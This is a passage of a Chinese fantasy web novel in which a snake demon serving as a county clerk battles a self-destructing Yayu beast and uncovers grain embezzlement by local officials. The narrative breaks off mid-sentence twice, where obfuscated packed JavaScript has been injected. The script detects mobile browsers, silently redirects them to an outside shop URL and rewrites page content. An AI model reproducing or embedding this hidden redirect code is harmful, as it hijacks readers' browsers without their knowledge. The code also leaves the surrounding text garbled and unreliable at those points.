秦云意颔首,抬起自己的酒杯喝了几口,但就在这时,他犀利的目光捕捉到一个奇怪的现象:房阁东侧那扇半开的雕花木窗外,怎么,似乎有什么东西极快地一闪而过,不是一道,好像还是……两三道?至于那气息……绝非他山中同伴所有!甚至与他所知的大部分精怪气息,还要有所不同。 ——那是什么?秦云意放下酒杯,但那黑影很快就消失了,之后便再无踪迹。但他总感觉,这不像是什么好事。 这妖邪,身上沾染有死人的气息,但那座上的几人,因为酒席正酣,没有任何一个人发现这团黑影。 “那就,敬秦先生来我等县衙上任!”徐县丞面带红色,举起了自己的酒杯。 “敬秦先生!” 之后,宴席又持续了片刻。那蓝主簿与徐县丞,在剩下的时间里总在说些衙门里的闲话,还不时眉来眼去的,不知道有多大的心思。说到底,这所谓的“心思”,还不是想着旁敲侧击,来打探秦云意底细?好在他应对得体,始终滴水不漏。不过那坐在隔壁县尉郑某倒没有多为难他,他大多时间只是沉默饮酒,偶尔看秦云意那么一两眼,眼神复杂且深邃。 戌时末,宴罢了。 徐县丞派了一名小吏送秦云意去住处——那是县衙西侧的一排厢房,专供低级官吏和旅客幕僚居住,里面房间不大,但还算干净:一床,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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豺叔挠了挠头,声音嘶哑干涩,叽哩咕嘟的不知道在说些什么东西,但秦云意倒是勉强听懂了一些:确实是根基不牢导致的结果。要说妖类化形,也并非是件易事,不仅需要深厚的修为,理解能力,还需要一点机缘——豺叔显然修为积累到了,但悟性或者机缘,总还是差了那么一点,进而导致了一些限制:畏光,夜行,肢体不协,无法言语。 “能化形已是很好的造化,日后勤加修炼,多听人事稳固境界,缺憾或可慢慢弥补。”秦云意宽慰他,毕竟,不是谁都能像他一样化形成功,不说完美,至少没有什么太大的破绽。 众妖于是又跟着围了上去,你一言我一句地观察起豺叔来,秦云意笑了笑,他这次没有参与众妖的讨论,而是径直走到了一棵古木旁,蹲下身子,似乎在寻找些什么。 …… 果然,有东西。 9. 妖兽窫窳 他用妖力探视着这古木下的结界——别扭,总好像缺了点什么,他索性闭上眼,将心神完全沉入与结界的感应之中,直到妖力缓缓渗下,向着山四周开始延伸,缓缓探寻。 秦云意叹了口气,作为这结界的“缔造者”,他下这阵法的初心,便是为了给山上妖怪们寻一方清净之地,免受外人、尤其是道士的打搅,他本想着等战乱平了便撤除,但现在,恐怕不能了,更让他沉重的是,这黑影的来历,似乎并不像是场“意外”,而更像是一个经过精密计算的,预谋已好的行动…… 究竟是谁? 他兀地睁开眼睛,眼神锋利。几乎在同一瞬间,他感知到结界的边缘,有一缕极其稀薄、几乎与山林气息融为一体的“炁”,因为方才的探视而被惊动了。现在,那缕炁猛地一颤,如同受惊的水蛭,从结界的某个微小裂隙中钻出,正向着西北方向的山外林飞速逃逸而去。 秦云意眼中寒光一闪,身形已如离弦之箭般刺入远方,他的速度快得惊人,但在林木山石间掠过时,却几乎没发出任何声响,一直飞奔到约莫八九里地外的斜坡下方,他定睛一看,捕捉到了一道正在快速移动的黑影。 ——这东西的模样怎生的如此怪异!身形佝偻如猿,本体像龙,却覆盖着一层暗红色的,难以言喻的皮,它的背上还生着四对枯瘦如柴的翅翼,翼膜残破,虽有鳞片羽毛在此,却无法飞行,只能拖在地上飞速地跑……脸上竟然空荡荡的,好似被挖空了,没有眼睛,没有鼻子,只留有一个不断开合、布满螺旋利齿的腔口,还不时发出呼哧、呼哧的进气声。 “窫窳?不对,它为什么会是这副模样?” 这食人的怪物,名叫“窫窳”,乃是食人恶兽,形象近似牛身人面或龙首,按理来说,这种山野之怪应该有些头脑,不会无故闯入其他大妖所居住的山林,可……眼前这“窫窳”的脸和身子,怎么都不像是正常的模样——它好歹也曾是一代天神,如今却比鬼怪还要可怖它,口中腥气扑鼻,似是刚食过人,身上还流淌着某些并不属于他的黑煞。 不对劲,很不对劲。 秦云意正思忖间,那怪便尖啸一声,蓦地向他冲了过来,沿途击倒阵阵树木,发出“轰隆”、“噼啪”等声音,秦云意忙调用妖力保护自身,尤其是耳膜——这怪叫声极其凄惨凌冽,它就是靠这将猎物活活震死,进而开始猎食了。 不过,话虽如此,秦云意其实倒未把它放在眼里。这妖邪,说起来怪,但被扒了皮,看上去似乎已经穷途末路了,可谁知那怪就像不知疼痛一样,眼看秦云意与自己有了距离差距,便后腿蹬地,身形像压缩到极致的弹簧,轰然弹射而出,直取对方首级,这速度,比秦云意之前见到的同类,还要再快上一倍! 秦云意冷笑一声,在怪物扑过来的一瞬间,他身形微微一晃,便消失在了原地,那怪躲闪不及,竟直直秦云意原本站立位置后方的一块巨大山岩上,碎石飞溅,粉尘铺天盖地地降下,弥漫了小半个山坡,将那怪物笼罩其中。 秦云意抖抖衣袖,挥手荡开袭灰尘与碎石,耳朵却听见烟尘里,传来“喀啦喀啦”的,令人刺耳且不适的咀嚼声。 这怪物真疯了罢,它竟在啃食撞击碎裂的岩石? 秦云意紧皱眉头,一连串轻松躲过对方的进攻,并未让他有丝毫大意,相反,这怪物表现出的那种毫无理智的疯狂,让他心中的疑云却是越来越浓。比起现在直接杀了它,他更想扒清楚这东西的底细:从哪里来?为何要来? 窫窳摇晃着从碎石堆中站起,见自己多击不中,这怪凶性更甚,他站起前躯,张开四翼,千百个像钢铁一般的鳞片“铮铮”地叫着,下一秒便劈头盖脸地朝秦云意袭来,秦云意将袍袖一挥,一股柔和的劲风便平地卷起,精准地将袭来的鳞片卷向一旁,插在地上,有甚者竟然劈开了利石,露出里面夹杂着的矿物。 看到对方鳞片的破坏力,秦云意眼中终于闪过一丝认真,该死,眼前这“窫窳”,竟比预想中还要难缠——不能再以纯粹的戏耍心态应对了,他必须尽快将其制服,问出情报。 随后,他抬抬手,一把如血般墨红色的剑腾空而出,正以迅雷不及掩耳之势,直取那怪物的胸膛——他并非想致命,只是意图重创其行动能力,留一点性命。 “去!” 那怪物似乎也感受到了这一剑的威力,他迅速调转身体,试图向左侧冲出,但秦云意怎能如此轻松放过他!他轻点脚步,跃向空中,那剑也拐了个弯,接着在天上,与主人一同追着刺下。 “噗嗤!” 秦云意足尖踏落剑柄,看似轻盈,却将怪物牢牢钉死在地。这怪物立刻发出一种痛苦而愤怒的嘶吼,四肢和身躯不停地疯狂挣扎,妄想试图挣脱,可惜的是,那长剑上附着的妖气如同活物般,将它彻底“锁”在了这里,任它如何挣脱,也只是徒劳地将伤口扩大,让黑红色的污血汩汩涌出,终究是无法脱身。 “我暂且不想取你的命,你不是一般的妖兽——告诉我,你从哪里来?!”秦云意厉声喝道,神色是少见的肃厉。他汇集力量,趁着对方心神失守之隙,妖力如丝般探向那非人的大脑,试图攫取些许信息。 然而,就在他即将触及其意识的刹那,那怪原本扭曲的身形竟猛地一挣,紧接着,他体内的能量便以一种决绝的速度,疯狂向内坍缩。 不好!秦云意暗自叫道,这怪要自毁! 话音未落,这窫窳的身躯像是吹胀的气球一样,轰隆一声炸裂而开,黑色的液体随着肉块四处飞溅:一片一片,一滴一滴地落在树杈、地面,或是别的什么位置上。秦云意反应极快,收回利剑,层层妖力瞬间布成屏障,阻挡了所有的残忍气息。直到这“血肉雨”彻底干净,没有余威之后,他这才放下了手。 “自毁的竟如此彻底、如此决绝……”他喃喃自语,“这并像是野兽本能,倒像是……禁制?比如一旦被擒,或面临被探查的危险,就即刻启动,不留下半点线索……” 事情果然不简单。 这怪物,顶多算得上一个“棋子” ,背后说不定另外有人——可他们的目标到底是什么?这座山?这片城?又或是…… 冲着他自己而来? 但此番一无所获。秦云意轻叹一声,环顾四周,见四处无异状,便以妖力悄然抚平战场痕迹,令山水复归原貌。 “莫要吓到过路的旅人。”他心想,最后又扫视了一圈,身影随即化作一道淡淡的青烟,朝着来时的方向疾速奔回。 山林寂寂,月色已逐渐被遮住大半光华,只透下些许薄薄的清辉。秦云意返回的速度较之去时还要更快,无数连绵的身影在林木间几乎连成一道黑线,最终突兀地降在山顶上,引得小妖们一阵惊奇。 “螭君,方才发生何事了?”石公见秦云意面色凝重,心里暗叫不好。 “结界遭遇侵扰。”他试图让自己平静下来,莫要打搅某些小妖安眠,“自今日开始,大家需警醒。” 石公默然,其他妖怪听闻这话,脸上也都显现出某些情绪来:或喜,或忧,或悲。 “可知那物来历否?” “尚未可知。那怪自爆修为而去,许是受了某种‘胁迫’。”他沉默了,“不似一般妖鬼,倒像专为试探底细而来。” 众妖面面相觑。秦云意轻叹一声,复又坐回青石上,开始思考。石公见状,自怀中摸出一枚青莹莹的果子递过来,说: “螭君且缓缓神,既然一时无解,多想亦是无益,之后警醒些便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153434|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,说来——您近日在人间,过得如何?” “谢石公,近日……我入了县衙,谋了个官职。” “当官?” “是啊。”螭厌,也就是秦云意点点头,一旁的赤练闻声,忍不住开口道: “那您就真给这群凡人老爷们当官?帮他们算那些黑心账?” “帮他算贪账?赤练啊赤练,别开这个玩笑。”螭厌笑着摇摇头,“我理账,可不一般,不只要理,还要给他理得清清楚楚、明明白白,把它那一笔一笔的污秽银币,全都给我晒在太阳底下!” “那您……不怕那些人狗急跳墙?”赤练仍有些忧心。 “这账越清楚,谁贪了多少,谁瞒了多少,谁在其中弄虚做鬼,都一目了然了。到时候,何须我动手!他们自己就得先互相咬起来。”螭厌说,他突然看向豺叔,对方终于尝试着站了起来,咧了咧嘴,喉中挤出几句生涩人言出来。 “待……待我化形稳当……螭君,我想,想去人间……走走。” “来的正好。”螭厌点点头,“等豺叔化形的差不多了,想抽空去体验一下人间生活,我便把他捎来——我正好需要一两个探子帮手。” “还有我!还有我!”耳鼠从青石旁窜了出来,“要问偷听消息,这个我可最擅长!” 他身旁的那只猫脸怪也点了点头,“咕咕”地叫着,意思是它可以飞,可居高临下,洞察四方。 “好,好。”螭厌笑了,笑容意味深长,“那……你们就偶尔偷去曲阳城里,盯紧几个人。” 他报了几个名字,无一例外,都是县衙上的人。 “若有异常,便来报我——但切记,保全自身安全为上!” “明白!”三妖齐应,之后,那豺狼也学着人的模样,打了个稽首。 石公见其他妖都有了着落,心中也忍不住想做份实事。 “那老石我能干啥?”他急切地问。 “石公,您且镇守山中,近些日子不算安稳,那怪物的来历……尚未分明。”螭厌安慰说。 石公重重地点了点头。 夜深了。 在助豺叔稍熟人身之后,螭厌与众妖作别,言道明日他还需当值。 “交代之事牢记便可。那怪……我自会继续深查。” 他声音还在谷中回荡,人却已不见了踪影。 众妖望着他消失的方向,半晌,赤练咂了咂嘴: “你们说,螭君走这‘人间道’,到底能悟出个啥来?” “管他能悟出啥,反正有热闹看,便不枉了。”一山魈答道。 “各司其职,莫要多言!”石公敲了敲地面。 寒潭复归寂静,只有月光依旧,冷冷照着这片属于精怪的山林,也照着山外那座沉睡的人间城池。 秦云意回到县衙厢房时,已是后半夜。 他推门而入,屋内油灯却不知何时已经熄灭,他倒并未在意,走到窗边,正要关窗,动作却蓦地顿住。 那桌上,他离开前,还特意压在砚台下的竹简,位置竟移动了毫厘。而墙角陶盆里的水,亦比他离开时也少了一指深。 有人进来过!且十分谨慎,但逃不过他的感知。 他走到桌边,拿起那卷空白竹简,嘴角勾起一抹冷笑。 这群家伙,动作真快。他才刚“上任不久”,就有人迫不及待开始来探他的底了。 之后,他将竹简重新放回原处,走到床边和衣躺下。黑暗中,那双蛇的竖瞳静静睁着,他开始想起今天的见闻:宴会、化形,还有那不知底细,形态诡异的怪物…… 也罢。他摇摇头,这并不是能轻松调查完的事情,至于明日那衙门里的水……总该开始搅动了。 10. 暗流涌动 第二日,等秦云意踏入文书房时,里面已有了人——那是两个中年书吏,他们垂手立在门边,见他进来,连忙躬身行礼,谄媚地笑道: “秦主事。” 秦云意扫了他们一眼。其中一个面皮焦黄,眼珠子瞟来瞟去对方,自称姓赵,另一个则稍年轻些,脸上堆着笑容,反骨却很明显,这家伙姓卞。 “二位都是徐县丞派来的罢。”秦云意语气平淡,几乎听不出什么情绪。 “正是,正是!”卞姓书吏连忙接话,腰不禁又弯下去几分。 “徐大人说秦主事初来,这文书房积压的旧档又多又乱,怕您一时理不清头绪,特让我二人来听候差遣,打个下手。” 一旁的赵姓书吏也含糊地“嗯”了一声。 “秦主事,这边请。”卞书吏殷勤道。 秦云意随他步入文书房:这房间不大,却靠墙立着几排高高的木架,上面堆满了竹简、木牍和卷起来的帛书,积着厚灰。房间中央摆着一张长案,案上散乱着些笔墨和未处理的文书,至于角落,则堆着几捆说不清道不明的卷宗。 “秦主事。”姓赵书吏小心翼翼地说,“这些是大人吩咐调来的、近五年的丁口册和粮秣出入记录。” 他又指了指墙角那几捆,“其实还有些更早的,在库房里,若主事需要……” “暂且不必。”秦云意走到长案后坐下。 “二位先把近三年的丁册,按坊整理出来吧,我要核对。” “主事,这三年丁册……前年、去年都已归档封存,若要调阅,需主簿批条……”说这话的是卞书吏,他脸上笑容不变,脚步却一点未动。 “徐大人昨日允我查阅所有相关卷宗,不限时限,现在怎还需要批条?” “这个嘛……规矩如此。况且,丁册繁杂,若要全部核对,恐费时费力,不如主事先看今年的?今年的还未完全归档,也倒清晰……” “不必。”秦云意打断了他的话, “就从三年前的开始。规矩是死的,人是活的。若蓝主簿问起,就说是我说的,去取吧。”他语气平淡,却不容置疑。 那姓卞的收回了笑容,两个书吏对视一眼,那个姓赵的书吏明显有些惴惴不安,卞书吏则眼底闪过一丝凶狠,但两人都没再说什么,躬身退出去取卷宗了。 秦云意靠在椅背上,手指轻叩桌面。这卞书吏,怕就是昨夜来探他房间的那位,说不定是那蓝主簿,或者其背后什么人的眼线…… 此番记忆,让他又想起昨晚的怪物了,不过,这似乎与他们无关。 不多时,两人便抱着几大捆竹简回来,放在长案上,尘土飞扬,害的那两位忙手忙脚地咳嗽。秦云意二话不说,只示意他们打开,开始按年份和坊别排列。他自己则拿起一卷今年最新的丁册,展开浏览,他看得很慢,偶尔提下笔,在旁边空白的木牍上记下几个数字或人名。 卞赵二人也在旁边整理,但动作磨蹭,还不时贼眉鼠眼,用余光看他。见他只是安静看册,偶尔记录,似乎并无特别举动,渐渐放松了些。 一上午过去,秦云意只看了不到十分之一的卷宗。午时,有小吏送来午饭——两个粗面饼,一碟咸菜,还有一碗清可见底的菜汤,之后,二书吏也告退去吃饭了,独留秦云意一人在文书房。 他放下竹简,走到窗边。窗外正对县衙后园的一角,能看到几个胥吏正聚在树下吃饭说笑。他的目光落在其中一人身上——正是昨夜他让妖怪们盯梢的名单里的一个,他姓姬,是户房专管粮秣出入登记的老吏。 姬吏正唾沫横飞地说着什么,周围几人频频点头,脸上带着谄媚又畏惧的笑。秦云意看了片刻,撇了撇嘴,然后收回目光。 下午到了,他开始继续核账。二人也来到了他的身边,最后,一旁的卞书吏终于坐不住了,他连忙走上前,故作好心提醒秦云意: “秦主事,这核对丁册,最是繁琐,往往耗日持久,主事初来,不如先熟悉熟悉其他事务?比如……各坊新近上报的‘助军粮’缴纳清单,还急需汇总呈报徐大人。” 他转过身,从赵书吏手中拿走,递过来一叠木牍。 秦云意接过,扫了一眼:这木牍上是各坊里正上报的已纳粮数,数字倒是对得上白日徐县丞竹简上那些数目。但…… “缴纳凭证呢?”他问,“每户缴纳,应有里正开具的凭据,粮仓入库,也应有仓吏出具的单据。两者核对之后,方能入账。” “主事有所不知,如今战事紧急,征收繁重,许多农户都是将粮直接送至坊正处,由坊正统一运往粮仓。这中间环节……凭证难免不全。况且,仓房那边,入库登记也常有疏漏。若真要一一核对,只怕……” “只怕什么?”秦云意抬眼看他。 “只怕……耗时太久,耽误了军机大事啊。”卞书吏语气委婉,但话里话外,秦云意也听懂了。 这家伙想让自己做假账。 秦云意故作认同地点点头,没再追问,只是将木牍放到一边,说:“我知道了,不过,丁册我需要继续看,至于这些清单,稍后处理。” 卞书吏眼中闪过一丝得意,二人连忙躬身退开。 秦云意低头,继续看竹简。心中却冷笑:什么假话?还凭证不全?入库疏漏?怕不是中间被层层克扣,根本对不上账,所以干脆不要那凭证,只管浑水摸鱼! 他不再理会二人,专注于手中的丁册。妖力让他阅读速度快得惊人,脑中同时飞速计算、比对、记忆,但在外人看来,他只是偶尔翻动竹简,动作舒缓,仿佛真的在慢慢核对。 不过,另他们没想到的是,一个下午,秦云意已将三年前曲阳城所有坊的丁口原始记录,还有历年增减变动,全部刻在了脑中,并与今年最新的丁册做了初步比对,其中种种漏洞,也被勾勒出了大致轮廓,还有那几个特殊的坊:东坊、西坊、北坊。正是昨日徐县丞给他看的那三个,这三坊的丁口虚报比例高的吓人,且近年所谓“死亡”、“迁出”的丁壮数量,也格外多。 巧合?还是这县丞特意选出来试探他的? 放衙时分,秦云意将记满数字和人名的木牍收好,锁进桌案抽屉,牢牢锁住,然后对赵、卞说道: “今日到此为止。明日继续。” 二人应诺,目送他离开,不过秦云意没回厢房,而是出了县衙,再次来到西市茶摊。 暮色中,茶摊客人稀落。徐伯正收拾东西,见他来了,独眼看了他一下,没说话,舀了碗茶推过来。 秦云意坐下,慢慢喝着。不多时,周三便闻声,颠颠地跑过来,脸上堆满比往日更热切的笑容 “哎呦,秦……秦主事!您真当上官啦!小的给您道喜!” 消息传得真快。 “周兄坐。”秦云意点点头。 周三受宠若惊地坐下,“秦主事,您如今是官身了,可得多照应照应咱们这些老街坊!”他说。 之后,他却压低声音,“衙门里……还好吧?没人为难您吧?”他问。 “尚可。”秦云意说,“那周兄近日可有活计?” “唉!别提了!码头那边,那儿的船被征走大半,货也少了,活计难找。昨天扛了一天包,才挣了八文,还不够吃饭的。”周三苦着脸,说道。 “不过,说到这里,秦主事,您衙门里……还要不要人跑腿打杂?我腿脚利索,嘴也严实!” 他眼睛滴溜溜的转,像只狐狸一样嗅到了商机。 秦云意瞥了他一眼。 “衙门用人,自有章程,不过……”他顿了顿,“……我倒真有一事,想请周兄帮忙。” “唉!您说!甭管上刀山下油锅,小的绝不推辞!”周三连忙道。 “没那么严重,只是……我想请周兄,帮我打听几件事。” 秦云意从袖中摸出几枚铜钱,推了过去。 周三慌忙把钱攥在了手里,“您吩咐!” “第一,我想知道,这曲阳城三个坊的里正,平日里为人究竟如何?与衙门里哪些人走动得勤?尤其是和那些户房、仓房的人。” 周三愣住了,他脸色变了变,连忙压低声音: “秦主事,您这是要……查他们?这几个坊的里正,可都不是善茬。尤其是东坊的李里正,听说跟蓝主簿沾亲带故,平日里横着呢!征粮派丁,就属他们坊最狠!可也没见谁真敢告他……” “只是问问而已。至于第二,你帮我留意一下,最近有没有人私下里大量收购粮食,或者……有没有粮车夜里从官仓方向出来,没去军营,却去了别处?” 周三倒吸一口凉气。 “秦主事,您这……”他左右看看,声音压得更低了,“这可是要命的事啊!要是被人知道……” “所以请周兄暗中留意,不必声张,更不必冒险。” 秦云意又推过去十枚铜钱。 “周兄只需将看到的、听到的,如实告诉我即可,你若觉得危险,随时可停。” 周三看着桌上的钱,又看看秦云意平静的脸,内心抓耳挠腮,在经过一系列心理斗争之后,最终还是狠心一咬牙: “成!既然秦主事看得起我,那我周三豁出去了!您放心,我在这曲阳城混了二十年,什么三教九流全都认识几个,定给您打听清楚!” “有劳。”秦云意颔首。 又坐了片刻,买陶器的孙老和李匠人也陆续收摊过来,得知秦云意真当了文书房主事,两人态度也恭敬了许多,但言语间仍带着关切。 “秦主事,衙门水深,您刚去,凡事多留个心眼。有些账……能糊弄就糊弄过去,别太较真。” 是李匠人在说话。 “……我有个远房侄子,前年也在衙门当差,就是因为太耿直,查账查到了不该查的人头上,后来……就掉河里淹死了,县衙查了,说是失足。” “多谢李兄提醒,秦某我自有分寸。”秦云意看着他痛苦纠结的脸,点了点头。 “秦主事是读过书、明事理的人,至于咱们这些小民,就盼着有个青天大老爷,能给条活路,可是这世道……”一旁的孙老也摇摇头,口中作哑,却没能再说下去。 暮色渐浓,秦云意准备起身告辞。 “还有茶钱。”徐老抬起眼。 秦云意回头,放下三文钱。 “夜里风大,秦主事……你早些回去,记得少走夜路。” 秦云意心中微动,连忙点点头道:“谢徐伯。” 他离开西市,却没立刻回县衙。而是绕了一段路,来到城东一处僻静的巷口,那豺狼化作的中年汉子,早已蹲在墙角的阴影里等他。 “螭……螭君!有……有动静了!” “说吧。” “您……让我盯的那几个人,今天……都……都没闲着!比如那……那 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“有!”一旁的耳鼠终于窜出来了,它兴奋说道,“最厉害的,还得是那个管仓的姬吏!天黑之后,这家伙居然偷偷去了城西一家赌坊,走的还不是正门,是从后巷小门进去的!我偷偷在外头守着,快子时这家伙他才出来,喝得醉醺醺的,怀里还揣着个鼓囊囊的袋子,一摇哗啦哗啦的响,肯定是钱!不过他一个仓吏,又哪来那么多钱去赌?” 赌坊?很好的消息。 “二位劳烦继续盯着,尤其那姓姬的,看他最近究竟和谁在接触。” “明白!”耳鼠应道,后想了想,接着补充了一句: “螭君,我还看到个事儿。就之前,那个貌似被您救过的小子,就是偷粮册那个,现在被关在县衙大牢最里头。我溜进去瞧了一眼,哎呦,这家伙被打得真不轻,但还活着,我看见送饭的狱卒偷偷塞了半个饼给他,他狼吞虎咽吃了。” 秦云意沉默了。 “知道了,那……留意牢里动静,别让人把他弄死了。” “好嘞!” 紧接着,二人共同化作一道灰影,消失在夜色中。 秦云意站在巷口,望着远处县衙黑沉沉的轮廓,心中感慨万千…… 真是山雨欲来,风满楼啊。 于是接下来的几日,他每日准时到文书房点卯,埋首于堆积如山的卷宗之中,装作自己是个死读书,认死理的人。秦核账的速度看起来不快,甚至有些磨洋工,慢的要命。有时一整个上午就只对着一卷册反复翻看,偶尔才记下几个数字,这进度缓慢的,让一旁暗中观察的卞书吏都忍不住在心里嘲讽。 但……那看似缓慢的翻动下,秦云意用脑袋牢牢记着了一切漏洞,然后将它们关联、推演。不过该装的还是得装,所以,他不再要求书吏二人调阅更早的卷宗,也不再追问粮食凭证的事情,仿佛真的被二位书吏那番“军机大事”的说辞劝住了一样。 卞书吏和背后的人松了口气,他们都以为这位新来的主事要么是能力有限,要么是真的识时务,于是不再深究。 然而,秦云意私下里的动作,却从未停歇过。比如那周三成功当了他在市井中的耳目,靠着多年扛活积累的人脉和机灵劲儿,很快摸到了一些线索。 “秦主事,”某日傍晚,周三在茶摊角落,借着暮色遮掩,低声与秦云意禀告。 “那东坊的李里正——果然不干净!他有个小舅子,在城南开了间杂货铺,平日里生意稀拉,可最近居然盘下了隔壁的铺面,竟还新雇了两个伙计!我找相熟的货郎打听过,说他那铺子后头院子里,时常有马车深夜进出,卸下来的东西都用麻布盖得严严实实,但撒出来的碎末……貌似就是粮食!” “那可知道粮食来源?” 周三摇摇头,“这个查不到,不过吧……”他凑得更近了,还把声音压得极低。 “我有个把兄弟,在城西帮派赶车。他说上个月底,有天夜里,帮里调了三辆空车,跟着姬仓吏手下的一个亲信,从官仓侧门拉了几车东西出去,没去军营方向,反而绕道去了城南,至于卸货的地方……就在李里正小舅子铺子后头那条巷子附近!” 真是个劲爆的消息。 “还有西坊和北城坊,”周三继续说道,“那两个里正倒是没这么张扬,但家里日子都过得殷实。北坊姓王的里正,儿子去年刚在邯郸捐了个小官,据说是花了上百金求来的!不过他一个里正,哪来那么多钱?” 秦云意用指尖轻点桌面。 捐官……不过,这倒是个洗钱和寻找靠山的好路子。 “辛苦了。”他又推过去几枚铜钱,“这些事,往后烂在肚子里,对谁都不要提。” “小的明白!” 周三揣好钱,脸上却显露出有些忧色。 “那秦主事,您查这些……是要动手了吗?我听说,那李里正和蓝主簿关系匪浅,姬仓吏也是郑县尉的远房亲戚……很难,这牵一发要动全身啊。” “我自有计较。”秦云意淡淡道,“你只需继续留意,尤其是粮车出入的规律,以及接触的人员。若有异常,立刻告诉我。” “是!” 周三离开后,秦云意又坐了片刻。徐伯过来收碗,独眼再次瞥了他一眼。 “周三这小子,嘴碎,但心眼不坏。秦主事用他……得当心。”他低声说。 “多谢徐伯提点。”秦云意笑了笑,他自然是知道周三的局限性的,所以交给他的,都是些外围的、不易引起警觉的探查。至于真正的要害处,他另有其他安排。 11. 清腐风云 待秦云意回县衙后,暴雨也缓缓地落了下来,起初只是零星的雨点,接着很快连成一片,哗啦啦地冲刷着县衙的青瓦和石板地。至于他,他只是坐在屋中,看着窗外氤氲的夜色,一言不发。 寅时初,雨稍歇了。 突然,一阵轻脆的脚步声穿过回廊,貌似在朝着主簿居住的东院方向而去,听那步频和呼吸……是卞书吏。然后,几乎是同时,在院子的另一个方向,也就是郑县尉居住的西院侧门,传了来轻微的门轴转动声,从那贴着院墙的身形和阵阵咳嗽声判断,是姬仓吏。 秦云意无声地坐起,他迅速穿好常衣,推开后窗,身形融入雨后的夜色,几个起落之后,便悄无声息地攀上了县衙檐角——这是个好视角,从这里,不仅可以俯瞰大半个县衙,还能看到通往城西粮仓和后门巷道的情形。 那耳鼠早已跳在另一处屋脊上,见他来了,立刻吱吱地叫唤:什么姬仓吏往后门去了,卞书吏进了蓝主簿大院之类的话。 秦云意点头,目光投向城西,今日虽夜色浓重,但——几处本应沉寂的库房附近,有微弱的光亮晃动,人影绰绰的,似乎正在搬运什么东西。 “鸱呢?”他传音问。 “在高处盯着呢,刚才它说,那粮仓侧门开了,还有车马进去,正在装货!装的……似乎是麻袋,看沉甸甸的样子,像是粮食!难道他们真的要趁夜转运?” 秦云意眼神凛冽,这群家伙是听到什么风声,还是单纯想趁着新粮入库前,干脆再捞一笔?他正思考着,突然有了想法。 “我且去一趟城外山道,那是它们的必经之路——去去就回。” 约莫一刻钟后,粮仓侧门打开了,三辆蒙着黑布的马车缓缓驶出,前后还各有几名护院模样的人提着灯笼。不过奇怪的是,马车并没有走正街,而是拐进了偏僻的小巷,慌忙朝城外方向驶去。 几乎就在马车离开的同时,蓝主簿的院门也打开了。卞书吏匆匆出来,他没回自己住处,反而朝着徐县丞居住的正院方向,加快步伐走去。 秦云意回来了。 听着耳鼠报告的一切,他笑了——这卞书吏啊,是去报信?还是去……嫁祸?他不再停留,身形飘落,回到自己厢房,换了身干净衣服,点了油灯,摊开一卷空白竹简,提笔,就开始书写。 他写的是这几日核对丁册粮账时发现的疑点。当然,其中只涉及姬吏以及东、西、北三坊里正的部分。至于蓝主簿和郑县尉等人……他暂且不表。 辰时初,雨彻底停了。县衙里响起了点卯的梆子声。秦云意站起身,带着方才写好的疑点摘要,快步走向徐县丞处理公务的二堂。可刚到门口,他就听见里面传来对方略带恼怒的声音: “……岂有此理!姬仓吏人呢?今日点卯为何不到?!” “回、回大人,仓吏家中老仆来报,说是昨夜突发急病,呕血不止,无法起身……” “急病?”徐县丞声音更加冰冷,“昨日还好端端的!今日就急病?去,给我派人去看看!若是装病,严惩不贷!” “是……” 秦云意心中暗笑,抬手叩门。 “进来。” 秦云意推门而入,这堂内除了徐县丞,蓝主簿也在,他正垂手站在一旁,脸色看似平静,但眼角不时地抽动,那个武夫郑县尉则按刀立在另一侧,面色十分阴沉。 “秦先生来了?”徐县丞见到他,脸色倒缓了许多。 “此番前来,可是账目核对有了进展?” “回大人,秦某着实有些发现。” 他将手中竹简奉上,交给了徐谓。 “下官核对了近三年丁册,发现东孝、西城、北城三坊,这丁口虚报、死户未销现象尤为严重。结合历年征收记录,此三坊应纳粮数,与实际丁口严重不符,而实纳粮数,又与已征丁口也对不上。其中,东坊李里正、西坊张里正,北坊王里正,此三人,恐有虚报丁口、截留粮税之嫌啊。” 他顿了顿,继续说道: “此外,下官还调阅粮仓近半年出入记录,发现损耗率古怪偏高,且均发生在姬仓吏当值期间,而昨夜……” 他抬起眼,看向徐县丞。 “下官听闻,昨夜有不明车马从粮仓侧门运货出城,方向并非军营,而今日姬仓吏恰好‘突发急病’……此中关联,不得不察呀。” 徐县丞脸色突然变幻,连忙拿起竹简细看,那蓝主簿听闻,手指不由得地在袖中收紧,目光如尖刀般,死死地盯着秦云意。 “秦先生。”蓝主簿忽然开口,声音干涩至极。 “这些……可有实证?丁口虚报,或许是里正失察。粮仓损耗,也未必就是仓吏中饱私囊。至于昨夜车马……或许是正常调拨,只是未及时备案?” “主簿所言有理。”秦云意不疾不徐地说,“故而下官认为,当务之急,是立即彻查。一,是要传唤三坊里正,当面质询丁册详情,并核查其家产。其二,封锁粮仓,清点现存粮秣,比对账目。至于第三……” 他看向徐县丞。 “请大人立刻派得力人手,追查昨夜出城车马去向。若真是正常调拨,自有凭证。若是私自盗运,此刻追截,或能人赃并获。” 徐县丞放下竹简,眼中闪过一丝决断,不错,这秦云意有点意思,他给出的一些“疑点”,还恰好避开了可能直接牵连自己本人的部分,矛头全指向的是几个小吏和里正,那若能就此打住……抓上几个替罪羊,既能向上交代,又能撇清自己,甚至还能从中捞些好处……? 岂不美哉! “秦先生……果真思虑周全,那么,郑县尉!” “末将在!” “你立刻带人,封锁粮仓,没有本官手令,任何人不得出入!同时,派快马沿昨夜车马出城方向追查,务必找到下落!” “是!” 蓝主簿的脸都要绿了。 “蓝主簿!” “……下官在。” “你负责传唤三坊里正,就在二堂问话。本官要亲自听听,他们如何解释!” 